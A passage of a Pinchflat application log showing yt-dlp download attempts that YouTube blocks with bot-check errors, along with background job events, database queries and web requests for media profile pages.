/tmp/pinchflat/data/a8/a9/a8a9a9927c0a6b2c70d871f76e8c6b1751219ff9ae240fbf3dfd93bc11895d45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] wghOBp3kUUo: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:32:01.367 [error] yt-dlp download error for media item #408: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] wghOBp3kUUo: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:32:01.367 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] wghOBp3kUUo: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:32:01.372 [info] {"args":{"id":408},"id":249,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2074396,"event":"job:stop","attempt":1,"queue_time":48292099,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:32:01.376 [debug] QUERY OK source="tasks" db=1.6ms idle=1445.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:32:01.378 [debug] QUERY OK source="media_items" db=0.4ms idle=1446.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [409] 20:32:01.381 [info] {"args":{"id":410},"id":251,"meta":{},"system_time":1774150321381028667,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:32:01.382 [debug] QUERY OK source="media_items" db=0.9ms idle=450.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 20:32:01.382 [debug] QUERY OK source="tasks" db=1.3ms idle=8.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:32:01.383 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:32:01.384 [debug] QUERY OK source="media_items" db=1.0ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [409, 410] 20:32:01.384 [debug] QUERY OK source="sources" db=0.7ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:32:01.386 [debug] QUERY OK source="media_profiles" db=1.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:32:01.389 [debug] QUERY OK source="media_items" db=0.9ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [410] 20:32:01.391 [debug] QUERY OK source="media_metadata" db=0.2ms idle=8.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [410] 20:32:01.391 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:32:01.392 [debug] QUERY OK source="settings" db=0.5ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:01.392 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:01.393 [debug] Running yt-dlp command for action: get_downloadable_status 20:32:01.394 [debug] QUERY OK source="settings" db=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:01.394 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:01.395 [debug] QUERY OK source="settings" db=0.4ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:01.396 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/PFwx50urvGs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/08/5f/085fc0a4e1f48c7be7b13a49839f8a14138cf8155ac2ed8e3ff513953b8dcd17.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:32:02.122 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/YPolYLE8i5M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/92/93926560ee00c53569bc1efae0447e10b93ce756c4791deff11b6b1330c8a08e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] YPolYLE8i5M: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:32:02.123 [error] yt-dlp download error for media item #409: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] YPolYLE8i5M: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:32:02.123 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] YPolYLE8i5M: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:32:02.125 [info] {"args":{"id":409},"id":250,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2211532,"event":"job:stop","attempt":1,"queue_time":48910225,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:32:02.136 [debug] QUERY OK source="tasks" db=10.1ms idle=731.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:32:02.140 [debug] QUERY OK source="media_items" db=2.6ms queue=0.8ms idle=741.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 20:32:03.542 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/PFwx50urvGs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/08/5f/085fc0a4e1f48c7be7b13a49839f8a14138cf8155ac2ed8e3ff513953b8dcd17.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] PFwx50urvGs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:32:03.542 [error] yt-dlp download error for media item #410: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] PFwx50urvGs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:32:03.543 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] PFwx50urvGs: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:32:03.543 [info] {"args":{"id":410},"id":251,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2162161,"event":"job:stop","attempt":1,"queue_time":50379270,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:32:03.545 [debug] QUERY OK source="tasks" db=1.2ms idle=1407.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:32:15.562 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:37.096 [info] GET /media_profiles/2/edit 20:32:37.096 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 20:32:37.097 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=501.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:32:37.097 [debug] QUERY OK source="settings" db=0.2ms idle=502.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:37.098 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:37.099 [debug] QUERY OK source="settings" db=0.4ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:32:37.101 [info] Sent 200 in 4ms 20:32:45.564 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.444 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:15.566 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:31.876 [info] GET /media_profiles/1/edit 20:33:31.876 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 20:33:31.877 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1281.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:33:31.878 [debug] QUERY OK source="settings" db=0.3ms idle=1282.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:31.878 [debug] QUERY OK source="settings" db=0.4ms idle=1283.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:31.880 [debug] QUERY OK source="settings" db=1.1ms idle=1283.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:33:31.882 [info] Sent 200 in 6ms 20:33:45.568 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.445 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:15.570 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:21.627 [info] GET /media_profiles/4/edit 20:34:21.627 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 20:34:21.629 [debug] QUERY OK source="media_profiles" db=1.1ms idle=1031.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [4] 20:34:21.630 [debug] QUERY OK source="settings" db=0.9ms idle=398.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:21.631 [debug] QUERY OK source="settings" db=0.6ms idle=34.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:21.633 [debug] QUERY OK source="settings" db=1.7ms idle=35.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:21.634 [info] Sent 200 in 7ms 20:34:45.573 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.449 [info] {"source":"oban","duration":3391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:08.137 [info] GET /sources/1/media/4 20:35:08.138 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 20:35:08.138 [debug] QUERY OK source="media_items" db=0.5ms idle=788.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 20:35:08.139 [debug] QUERY OK source="sources" db=0.6ms idle=535.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:35:08.140 [debug] QUERY OK source="tasks" db=0.8ms idle=535.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 20:35:08.140 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=537.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [7, 202] 20:35:08.141 [debug] QUERY OK source="settings" db=0.1ms idle=537.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:08.141 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:08.142 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:35:08.142 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:35:08.144 [info] Sent 200 in 6ms 20:35:15.575 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:45.577 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:48.133 [info] GET /sources/1/media/2 20:35:48.133 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 